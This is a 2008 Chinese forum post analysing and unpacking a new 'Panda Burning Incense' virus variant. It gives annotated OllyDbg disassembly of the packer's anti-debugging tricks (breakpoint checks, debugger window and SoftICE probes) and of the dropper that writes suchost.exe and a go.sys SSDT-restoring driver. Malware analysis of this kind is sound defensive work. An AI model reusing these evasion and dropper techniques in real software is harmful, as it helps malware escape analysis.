特邀体验者
- 帖子:5462
- 注册:
2005-01-12
- 来自:0GiNr
|
发表于:
2008-07-17 15:54
|
只看楼主
短消息
资料
新版“熊猫烧香”病毒壳+驱动分析+免疫程序下载(9楼)
Lightning( kxsystem@163.com) My BLOG: http://hi.baidu.com/aegisys不足之处请指出,谢谢。
样本来自:baohe@ikaka.com(在此感谢) 使用工具:OllyDbg 1.10
用EXECOPE看一下,有个UPX区段,应该是这个UPX壳,但是PEID说“什么也没找到”。看来可以自己手动做掉它了。 我没有多少脱壳经验,所以这个壳的每一步都跟了下去。如果只为了脱壳没有这么麻烦。
刚开始不用多说,不一会儿就到了壳获取需要的函数地址的时候了。 // 通过跟踪可以看出NewVirus.0043A457模拟了GetProcAddress的功能,参数也一样。 // PVOID _stdcall NewVirus_0043A457(HMODULE hModule, LPCTSTR lpFuncName);
0043A099 50 PUSH EAX // offset string "ExitProcess" 0043A09A FFB5 B84E4000 PUSH DWORD PTR SS:[EBP+404EB8] ; kernel32.7C800000 // The Base of "kernel32.dll" 0043A0A0 E8 B2030000 CALL NewVirus.0043A457
但是NewVirus_0043A457会检查这个函数的开头是否被下断,如果下断则会跳转到一条错误指令导致程序异常退出。比方说:有的调试器为了对抗病毒的FindWindowA方法,在FindWindowA 上下断将EAX清空后跳回去
0043A386 8038 CC CMP BYTE PTR DS:[EAX],0CC // 反调试代码,EAX == offset string lpFuncName 0043A389 74 01 JE SHORT NewVirus.0043A38C // 如果被调试就跳到下面的LOCK CMPXCHG8B EAX自杀 0043A38B C3 RETN 0043A38C F0:0FC7C8 LOCK CMPXCHG8B EAX ; 非法使用寄存器 // 可以把这里用RETN填了,这样无论如何都不会异常。
通过这个函数依次获得函数地址的有: LoadLibraryA GetProcAddress ExitProcess IsDebuggerPresent // 得到地址后就CALL,检测调试器,被OD插件做掉 lstrcmpA
然后进入解压函数0x43A3AB,不用管它,RETN处下断跟踪。 0043A139 LoadLibrary("user32"); 再获得FindWindowA地址,然后调用: FindWindowA(NULL, "TrainerSpy XP + NT / 2000 / XP + Coded By BofeN");
获得:CallNextHookEx
0043A19A 05 CC000000 ADD EAX,0CC // EAX = user32.CallNextHookEx 0043A19F 8B85 A44E4000 MOV EAX,DWORD PTR SS:[EBP+404EA4] // user32.FindWindowA,上面那句好像没用
// 邪恶的代码来了,病毒要检测OD 0043A1A5 6A 00 PUSH 0 0043A1A7 8DB5 B64D4000 LEA ESI,DWORD PTR SS:[EBP+404DB6] 0043A1AD 56 PUSH ESI ; NewVirus.0043A5F2 offset string "OLLYDBG" 0043A1AE FFD0 CALL EAX // EAX == user32.FindWindowA 0043A1B0 0BC0 OR EAX,EAX 0043A1B2 0F85 79010000 JNZ NewVirus.0043A331
反C: FindWindowA("OllyDbg", NULL); // 使用类名来查找OD窗口 OD的插件并没有正确地隐藏OD窗口,这里可以获得句柄eax == 00140142(在我的机子上)
这里需要强制清空EAX,或者修改那个JNZ为NOP。 接着检测了一些其它调试器: ESI=0043A61B (NewVirus.0043A61B), ASCII "API-Log v1.2 by M.o.D. [F2F]" ESI=0043A638 (NewVirus.0043A638), ASCII "VxDMonClass" ESI=0043A644 (NewVirus.0043A644), ASCII "TRW2000 for Windows 9x" // 连TRW2000的9X版本那么老的调试器也不放过 ESI=0043A65B (NewVirus.0043A65B), ASCII "Cool Debugger for Win32" ESI=0043A673 (NewVirus.0043A673), ASCII "The Customiser Configuration Screen" ESI=0043A697 (NewVirus.0043A697), ASCII "The Customiser" ESI=0043A6A6 (NewVirus.0043A6A6), ASCII "Hacked Spy"
再获得CreateFileA地址并调用: CreateFileA("\\\\.\\NTICE", 0xC0000000, 3, 0, 3, 80, 0); // 还得防SoftICE(NTICE是SI的服务) 0043A2B8 40 INC EAX 0043A2B9 74 02 JE SHORT NewVirus.0043A2BD 0043A2BB EB 74 JMP SHORT NewVirus.0043A331 0043A2BD 83BD 8C4E4000 0>CMP DWORD PTR SS:[EBP+404E8C],1
如果SoftICE服务不存在,那么EAX = 0xFFFFFFFF,INC EAX将它加1后即为0,JE SHORT就跳转到正确的代码。 如果存在的话,直接JMP SHORT NewVirus.0043A331强行退出程序。 跳过一些代码,再检测: ESI=0043A6B1 (NewVirus.0043A6B1), ASCII "\\.\SIWVID"
然后再获得WriteProcessMemory地址。
0043A324 8038 CC CMP BYTE PTR DS:[EAX],0CC 0043A327 74 08 JE SHORT NewVirus.0043A331 // 如果在WriteProcessMemory处下断将会掉入陷阱 0043A329 8D85 FE4A4000 LEA EAX,DWORD PTR SS:[EBP+404AFE] 0043A32F FFE0 JMP EAX // JMP 0043A33A // 这个为陷阱 0043A331 8D85 0F4B4000 LEA EAX,DWORD PTR SS:[EBP+404B0F] 0043A337 50 PUSH EAX 0043A338 FFE0 JMP EAX // 这个才是正确的,上面的JMP EAX会跳到这里。 0043A33A 8B85 C04E4000 MOV EAX,DWORD PTR SS:[EBP+404EC0] 0043A340 0BC0 OR EAX,EAX 0043A342 74 07 JE SHORT NewVirus.0043A34B 0043A344 894424 1C MOV DWORD PTR SS:[ESP+1C],EAX 0043A348 61 POPAD 0043A349 FFE0 JMP EAX // 跳到 00437CD0
00437CD0 60 PUSHAD 00437CD1 BE 00704200 MOV ESI,NewVirus.00427000 00437CD6 8DBE 00A0FDFF LEA EDI,DWORD PTR DS:[ESI+FFFDA000] 00437CDC C787 C4700200 3>MOV DWORD PTR DS:[EDI+270C4],25B1CE39 00437CE6 57 PUSH EDI 00437CE7 83CD FF OR EBP,FFFFFFFF 00437CEA EB 0E JMP SHORT NewVirus.00437CFA
00437DFA LoadLibraryA("kernel32");
然后再获取Sleep地址(获取这个干嘛?后面有用。)
// 下面的代码跳转到一个内部函数。 004277C9 8BEC MOV EBP,ESP 004277CB 83C4 F0 ADD ESP,-10 004277CE B8 A8764200 MOV EAX,NewVirus.004276A8 004277D3 E8 ECEDFDFF CALL NewVirus.004065C4
接着在CALL了一堆kernel32.dll中的函数之后终于开始做正事了! 004277D8 E8 2FFDFFFF CALL NewVirus.0042750C // The Real Original Entry Point!!
// 进入WinMain 函数(实际上不能叫WinMain),这里可以脱壳了。不过脱壳后PEID仍然不能分出是什么语言写的。 0042750C 55 PUSH EBP 0042750D 8BEC MOV EBP,ESP 0042750F 33C9 XOR ECX,ECX // 可能是这儿影响了OD的判断 00427511 51 PUSH ECX 00427512 51 PUSH ECX 00427513 51 PUSH ECX 00427514 51 PUSH ECX 00427515 51 PUSH ECX 00427516 53 PUSH EBX 00427517 BB 7C9A4200 MOV EBX,NewVirus.00429A7C 0042751C 33C0 XOR EAX,EAX 0042751E 55 PUSH EBP 0042751F 68 03764200 PUSH NewVirus.00427603 00427524 64:FF30 PUSH DWORD PTR FS:[EAX] 00427527 64:8920 MOV DWORD PTR FS:[EAX],ESP 0042752A 8D55 F8 LEA EDX,DWORD PTR SS:[EBP-8] 0042752D 33C0 XOR EAX,EAX 0042752F E8 70B4FDFF CALL NewVirus.004029A4 00427534 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8] 00427537 8D55 FC LEA EDX,DWORD PTR SS:[EBP-4] 0042753A E8 A5FEFDFF CALL NewVirus.004073E4 0042753F 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4] 00427542 50 PUSH EAX 00427543 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] 00427546 E8 2900FEFF CALL NewVirus.00407574 0042754B FF75 EC PUSH DWORD PTR SS:[EBP-14] 0042754E 68 18764200 PUSH NewVirus.00427618 ; ASCII "drivers\" 00427553 68 2C764200 PUSH NewVirus.0042762C ; ASCII "suchost.exe" // 释放病毒文件u和v长得不像啊。 00427558 8D45 F0 LEA EAX,DWORD PTR SS:[EBP-10] 0042755B BA 03000000 MOV EDX,3 00427560 E8 DBD3FDFF CALL NewVirus.00404940 00427565 8B45 F0 MOV EAX,DWORD PTR SS:[EBP-10] 00427568 8D55 F4 LEA EDX,DWORD PTR SS:[EBP-C] 0042756B E8 74FEFDFF CALL NewVirus.004073E4 00427570 8B55 F4 MOV EDX,DWORD PTR SS:[EBP-C] 00427573 58 POP EAX 00427574 E8 53D4FDFF CALL NewVirus.004049CC 00427579 75 46 JNZ SHORT NewVirus.004275C1 0042757B B9 38764200 MOV ECX,NewVirus.00427638 ; ASCII "c:\go.sys" // 释放驱动程序 go.sys 00427580 BA 44764200 MOV EDX,NewVirus.00427644 ; ASCII "sys" 00427585 B8 0A000000 MOV EAX,0A 0042758A E8 6D01FEFF CALL NewVirus.004076FC 0042758F B8 38764200 MOV EAX,NewVirus.00427638 ; ASCII "c:\go.sys" 00427594 E8 D736FFFF CALL NewVirus.0041AC70 00427599 8B15 48894200 MOV EDX,DWORD PTR DS:[428948] ; NewVirus.00429968 0042759F 8902 MOV DWORD PTR DS:[EDX],EAX 004275A1 68 D0070000 PUSH 7D0 004275A6 E8 0DF3FDFF CALL NewVirus.004068B8 ; JMP 到 kernel32.Sleep 004275AB A1 48894200 MOV EAX,DWORD PTR DS:[428948] 004275B0 8B00 MOV EAX,DWORD PTR DS:[EAX] 004275B2 E8 7537FFFF CALL NewVirus.0041AD2C 004275B7 68 38764200 PUSH NewVirus.00427638 ; ASCII "c:\go.sys" 004275BC E8 3FF1FDFF CALL NewVirus.00406700 ; JMP 到 kernel32.DeleteFileA 004275C1 E8 125CFFFF CALL NewVirus.0041D1D8 004275C6 E8 4DFEFFFF CALL NewVirus.00427418 004275CB E8 28FFFFFF CALL NewVirus.004274F8 004275D0 EB 06 JMP SHORT NewVirus.004275D8 004275D2 53 PUSH EBX 004275D3 E8 28F4FDFF CALL NewVirus.00406A00 ; JMP 到 USER32.DispatchMessageA // 这是一个标准的Win32应用程序。 004275D8 6A 00 PUSH 0 004275DA 6A 00 PUSH 0 004275DC 6A 00 PUSH 0 004275DE 53 PUSH EBX 004275DF E8 5CF4FDFF CALL NewVirus.00406A40 ; JMP 到 USER32.GetMessageA 004275E4 85C0 TEST EAX,EAX 004275E6 ^ 75 EA JNZ SHORT NewVirus.004275D2 004275E8 33C0 XOR EAX,EAX 004275EA 5A POP EDX 004275EB 59 POP ECX 004275EC 59 POP ECX 004275ED 64:8910 MOV DWORD PTR FS:[EAX],EDX 004275F0 68 0A764200 PUSH NewVirus.0042760A 004275F5 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] 004275F8 BA 05000000 MOV EDX,5 004275FD E8 06D0FDFF CALL NewVirus.00404608 00427602 C3 RETN
那个go.sys用了一种老掉牙的方法恢复了SSDT(通过ZW**读取文件然后XXX),代码又是抄的,一点意思也没:
mov eax, [ebx+3Ch] .text:00010416 add eax, ebx .text:00010418 mov eax, [eax+34h] .text:0001041B mov [ebp+var_10], eax .text:0001041E push offset loc_10634 // KeServiceDescriptorTable .text:00010423 call sub_10280 .text:00010428 mov edx, [eax+8] .text:0001042B mov [ebp+var_14], edx .text:0001042E mov eax, [eax] .text:00010430 mov [ebp+var_18], eax .text:00010433 push 206B6444h ; Tag .text:00010438 mov eax, [ebp+var_14] .text:0001043B add eax, eax .text:0001043D add eax, eax .text:0001043F push eax ; NumberOfBytes .text:00010440 push 1 ; PoolType .text:00010442 call ExAllocatePoolWithTag用户系统信息:Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1
闪电风暴 最后编辑于 2008-07-17 18:20:19
|